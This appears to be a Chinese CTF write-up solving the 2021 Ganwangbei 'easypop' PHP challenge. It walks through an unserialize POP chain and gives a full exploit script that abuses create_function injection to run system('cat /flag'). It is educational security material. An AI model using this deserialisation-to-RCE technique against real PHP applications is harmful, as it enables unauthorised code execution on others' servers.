【2021赣网杯web(一)】gwb-web-easypop
源码分析
<?php
error_reporting(0);
highlight_file(__FILE__);
$pwd=getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __destruct()
{
unserialize($this->key)();
$this->mod2 = "welcome ".$this->mod1;
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
unserialize($_GET[0]);
?>
一看到题,我对于unserialize($this->key)() 有点懵。在想对象反序列化后,这样怎么调用???或者入伏哦是对象当函数使用,又没有__invoke()之类的,会不会与内部类有关,但似乎都没解决办法。
后面一想,php弱类型语言,如果这个是我想要的函数字符串就好了,第一反应就想起来,序列化还可以对其他基本类型进行操作。。。gan,感觉刷题有点刷懵了,每次都是直接找对象来进行反序列化利用。这个地方直接序列化一个字符串不久ok了。于是直接去试了
?0=O:4:"func":3:
这里的主要部分就是后面的phpinfo字符串,序列化后又成为一个字符串,再加上一个(),完成phpinfo函数的调用
事实证明确实可以成功执行!!!这时候再回到题上来
很明显,这里就是要调用GetFlag::get_flag函数。如果这里反序列化一个类,他返回的是一个类,并不能形成$getFlag->get_flag()进行调用。
傻乎乎的竟然还是尝试了直接把它当作一个字符串,妄想达成目的,但事实说明,php真的就只会把他当作一个字符串进行调用。。。行动失败
后面来个一个小trick
类内的方法调用可以通过 [类,方法名]() 进行方法上的一个调用
前面可以看作一个数组,当反序列化成一个数组后,不久可以达成调用了吗。
所以这样是可以操作的。于是就可以开始构造一个payload用于完成get_flag()方法的调用了
可以看到最后其实就是指定一个函数,且需要满足 $code("",$action);
后面直接利用create_function注入,(不知道为什么可以就想到是create_function函数,那么多函数。。)
This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.
create_function()会创建一个匿名函数(lambda_样式)函数名是以lambda开头的一个自增的函数名,貌似当初做了一个关于爆破该函数的匿名函数名进行RCE的漏洞
create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);'); //返回lambda_1
//等效于
function lambda_1($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}
它的原理就是将 参数传递进去,形成一个合法的字符串或者叫方法体,再通过Eval执行该字符串。由于是字符串拼接,自然也逃不了代码注入的缺陷!!!
它的构造流程就相当于
function lambda_xxx(){
//传入的方法体及相关参数
}
再对方法体执行eval操作,当传入的方法体可控时,便可能触发RCE
<?php
error_reporting(0);
// highlight_file(__FILE__);
$pwd = getcwd();
class func
{
public $mod1;
public $mod2;
public $key;
public function __construct()
{
$this->key = serialize([new GetFlag(), "get_flag"]);
}
}
class GetFlag
{
public $code;
public $action;
public function __construct()
{
$this->code = ";}system('cat /flag');//";
$this->action = "create_function";
}
}
$a = new func();
echo urlencode(serialize($a));
成功拿到flag
不理解为什么code里要先闭合原来的函数,本地复现不用闭合也可以实现啊???疑惑
google大法好啊!!!
终于找到原因了
醍醐灌顶之文
该函数的底层实现》》》
》 function \0lambda_%d( function_args ) { function_code } \0
所以看传进去的位置,从而完成不同的注入